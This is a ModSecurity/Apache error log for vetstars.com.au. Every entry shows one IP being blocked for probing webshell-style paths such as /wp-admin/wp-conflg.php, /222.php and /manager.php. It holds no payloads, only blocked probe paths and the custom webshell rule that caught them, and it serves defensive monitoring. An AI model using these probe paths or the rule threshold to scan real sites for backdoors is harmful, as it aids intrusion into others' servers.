[Thu Dec 11 20:42:23.514053 2025] [:error] [pid 57990:tid 58006] [client 52.230.86.213:19019] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aTq8LwqZT_dc36fQdXGD1AAAAAs"]
[Thu Dec 11 20:42:23.700070 2025] [:error] [pid 27459:tid 27474] [client 52.230.86.213:62388] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aTq8L1hPEXihPBKMpRNeGgAAAQ0"]
[Thu Dec 11 20:42:23.887035 2025] [:error] [pid 27459:tid 27483] [client 52.230.86.213:18642] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aTq8L1hPEXihPBKMpRNeGwAAARY"]
[Thu Dec 11 20:42:24.063639 2025] [:error] [pid 58099:tid 58102] [client 52.230.86.213:60344] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aTq8MMKZVSF_bdPFqRgYBAAAAME"]
[Thu Dec 11 20:42:24.328898 2025] [:error] [pid 48261:tid 48266] [client 52.230.86.213:19061] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aTq8MOyPI4WU-4JmiQPAjgAAAYI"]
[Thu Dec 11 20:42:24.540853 2025] [:error] [pid 58814:tid 58834] [client 52.230.86.213:51030] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aTq8MNiz0l9AD_3pkMwzogAAAdI"]
[Thu Dec 11 20:42:24.869415 2025] [:error] [pid 24527:tid 24578] [client 52.230.86.213:18652] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aTq8MF9_glvtS5vXiTUHVwAAApY"]
[Thu Dec 11 20:42:25.047980 2025] [:error] [pid 24527:tid 24580] [client 52.230.86.213:50368] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aTq8MV9_glvtS5vXiTUHWAAAApg"]
[Thu Dec 11 20:42:25.241814 2025] [:error] [pid 57991:tid 58045] [client 52.230.86.213:62394] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aTq8MaPyGmNXA2ZsETa25AAAAFc"]
[Thu Dec 11 20:42:25.441089 2025] [:error] [pid 58814:tid 58837] [client 52.230.86.213:18797] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aTq8Mdiz0l9AD_3pkMwzpgAAAdU"]
[Thu Dec 11 20:42:25.615138 2025] [:error] [pid 27459:tid 27482] [client 52.230.86.213:19012] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aTq8MVhPEXihPBKMpRNeHgAAARU"]
[Thu Dec 11 20:42:25.798028 2025] [:error] [pid 27459:tid 27461] [client 52.230.86.213:19071] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aTq8MVhPEXihPBKMpRNeHwAAAQA"]
[Thu Dec 11 20:42:25.986830 2025] [:error] [pid 57990:tid 58003] [client 52.230.86.213:50381] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aTq8MQqZT_dc36fQdXGD1wAAAAg"]
[Thu Dec 11 20:42:26.236137 2025] [:error] [pid 58814:tid 58832] [client 52.230.86.213:51017] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aTq8Mtiz0l9AD_3pkMwzqAAAAdA"]
[Thu Dec 11 20:42:26.410527 2025] [:error] [pid 24527:tid 24576] [client 52.230.86.213:18679] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aTq8Ml9_glvtS5vXiTUHWQAAApQ"]
[Thu Dec 11 20:42:26.592771 2025] [:error] [pid 58814:tid 58836] [client 52.230.86.213:51057] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aTq8Mtiz0l9AD_3pkMwzqgAAAdQ"]
[Thu Dec 11 20:42:26.780054 2025] [:error] [pid 35112:tid 35130] [client 52.230.86.213:18766] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aTq8Mp9ZpQ0WIeJhsJdrBQAAAVA"]
[Thu Dec 11 20:42:26.972493 2025] [:error] [pid 57990:tid 58002] [client 52.230.86.213:50379] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aTq8MgqZT_dc36fQdXGD2AAAAAc"]
[Thu Dec 11 20:42:27.217921 2025] [:error] [pid 24527:tid 24568] [client 52.230.86.213:60332] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aTq8M19_glvtS5vXiTUHWgAAAow"]
[Thu Dec 11 20:42:27.403681 2025] [:error] [pid 24483:tid 24485] [client 52.230.86.213:18752] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aTq8M1GHKh2d_uVkopRfYwAAAgA"]
[Thu Dec 11 20:42:27.728039 2025] [:error] [pid 58099:tid 58109] [client 52.230.86.213:60308] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aTq8M8KZVSF_bdPFqRgYBgAAAMg"]
[Thu Dec 11 20:42:27.909014 2025] [:error] [pid 24527:tid 24564] [client 52.230.86.213:60351] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aTq8M19_glvtS5vXiTUHXAAAAog"]
[Thu Dec 11 20:42:28.185262 2025] [:error] [pid 24483:tid 24495] [client 52.230.86.213:51008] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aTq8NFGHKh2d_uVkopRfZAAAAgo"]
[Thu Dec 11 20:42:28.362712 2025] [:error] [pid 35112:tid 35137] [client 52.230.86.213:18773] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aTq8NJ9ZpQ0WIeJhsJdrBwAAAVc"]
[Thu Dec 11 20:42:28.560848 2025] [:error] [pid 24483:tid 24489] [client 52.230.86.213:62384] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aTq8NFGHKh2d_uVkopRfZQAAAgQ"]
[Thu Dec 11 20:42:28.735170 2025] [:error] [pid 58814:tid 58825] [client 52.230.86.213:51021] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aTq8NNiz0l9AD_3pkMwzrQAAAck"]
[Thu Dec 11 20:42:28.911976 2025] [:error] [pid 57992:tid 58062] [client 52.230.86.213:18934] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aTq8NOUeau0BMFF2vHmyYwAAAI0"]
[Thu Dec 11 20:42:29.229940 2025] [:error] [pid 24527:tid 24574] [client 52.230.86.213:55735] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aTq8NV9_glvtS5vXiTUHXQAAApI"]
[Thu Dec 11 20:42:29.405314 2025] [:error] [pid 27459:tid 27469] [client 52.230.86.213:18681] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aTq8NVhPEXihPBKMpRNeIQAAAQg"]
[Thu Dec 11 20:42:29.596131 2025] [:error] [pid 27459:tid 27472] [client 52.230.86.213:18787] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aTq8NVhPEXihPBKMpRNeIgAAAQs"]
[Thu Dec 11 20:42:29.797415 2025] [:error] [pid 57992:tid 58054] [client 52.230.86.213:18637] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aTq8NeUeau0BMFF2vHmyZQAAAIU"]
[Thu Dec 11 20:42:29.999384 2025] [:error] [pid 48261:tid 48274] [client 52.230.86.213:51709] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aTq8NeyPI4WU-4JmiQPAkgAAAYo"]
[Thu Dec 11 20:42:30.190215 2025] [:error] [pid 58099:tid 58108] [client 52.230.86.213:51693] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aTq8NsKZVSF_bdPFqRgYCQAAAMc"]
[Thu Dec 11 20:42:30.494802 2025] [:error] [pid 57991:tid 58037] [client 52.230.86.213:62456] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aTq8NqPyGmNXA2ZsETa25wAAAE8"]
[Thu Dec 11 20:42:30.689245 2025] [:error] [pid 57991:tid 58033] [client 52.230.86.213:18792] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aTq8NqPyGmNXA2ZsETa26AAAAEs"]
[Thu Dec 11 20:42:30.870318 2025] [:error] [pid 48261:tid 48272] [client 52.230.86.213:51023] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aTq8NuyPI4WU-4JmiQPAkwAAAYg"]
[Thu Dec 11 20:42:31.051120 2025] [:error] [pid 24483:tid 24496] [client 52.230.86.213:19064] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aTq8N1GHKh2d_uVkopRfaAAAAgs"]
[Thu Dec 11 20:42:31.238185 2025] [:error] [pid 58099:tid 58122] [client 52.230.86.213:18753] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aTq8N8KZVSF_bdPFqRgYCgAAANU"]
[Thu Dec 11 20:42:31.412911 2025] [:error] [pid 35112:tid 35133] [client 52.230.86.213:18765] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aTq8N59ZpQ0WIeJhsJdrCQAAAVM"]
[Thu Dec 11 20:42:31.594406 2025] [:error] [pid 57990:tid 58010] [client 52.230.86.213:51671] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aTq8NwqZT_dc36fQdXGD3AAAAA8"]
[Thu Dec 11 20:42:31.774031 2025] [:error] [pid 57990:tid 58018] [client 52.230.86.213:19053] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aTq8NwqZT_dc36fQdXGD3gAAABc"]
[Thu Dec 11 20:42:31.958340 2025] [:error] [pid 35112:tid 35129] [client 52.230.86.213:19045] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aTq8N59ZpQ0WIeJhsJdrCgAAAU8"]
[Thu Dec 11 20:42:32.161720 2025] [:error] [pid 57991:tid 58028] [client 52.230.86.213:18680] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aTq8OKPyGmNXA2ZsETa26gAAAEY"]
[Thu Dec 11 20:42:32.376829 2025] [:error] [pid 57991:tid 58044] [client 52.230.86.213:51655] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aTq8OKPyGmNXA2ZsETa26wAAAFY"]
[Thu Dec 11 20:42:32.561942 2025] [:error] [pid 48261:tid 48273] [client 52.230.86.213:51027] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aTq8OOyPI4WU-4JmiQPAlgAAAYk"]
[Thu Dec 11 20:42:32.737162 2025] [:error] [pid 58814:tid 58819] [client 52.230.86.213:18631] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aTq8ONiz0l9AD_3pkMwzrgAAAcM"]
[Thu Dec 11 20:42:32.941853 2025] [:error] [pid 27459:tid 27468] [client 52.230.86.213:18799] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aTq8OFhPEXihPBKMpRNeJAAAAQc"]
[Thu Dec 11 20:42:33.125733 2025] [:error] [pid 27459:tid 27476] [client 52.230.86.213:18656] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aTq8OVhPEXihPBKMpRNeJgAAAQ8"]
[Thu Dec 11 20:42:33.321546 2025] [:error] [pid 57990:tid 58014] [client 52.230.86.213:62424] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aTq8OQqZT_dc36fQdXGD3wAAABM"]
[Thu Dec 11 20:42:33.635100 2025] [:error] [pid 57990:tid 58000] [client 52.230.86.213:19042] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aTq8OQqZT_dc36fQdXGD4AAAAAU"]
[Thu Dec 11 20:42:33.826626 2025] [:error] [pid 27459:tid 27464] [client 52.230.86.213:18633] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aTq8OVhPEXihPBKMpRNeJwAAAQM"]
[Thu Dec 11 20:42:34.012806 2025] [:error] [pid 24483:tid 24486] [client 52.230.86.213:62439] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aTq8OlGHKh2d_uVkopRfagAAAgE"]
[Thu Dec 11 20:42:34.199826 2025] [:error] [pid 57990:tid 58019] [client 52.230.86.213:62461] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aTq8OgqZT_dc36fQdXGD4gAAABg"]
[Thu Dec 11 20:42:34.386082 2025] [:error] [pid 24527:tid 24563] [client 52.230.86.213:19039] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aTq8Ol9_glvtS5vXiTUHYwAAAoc"]
[Thu Dec 11 20:42:34.573397 2025] [:error] [pid 35112:tid 35126] [client 52.230.86.213:50374] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aTq8Op9ZpQ0WIeJhsJdrDQAAAUw"]
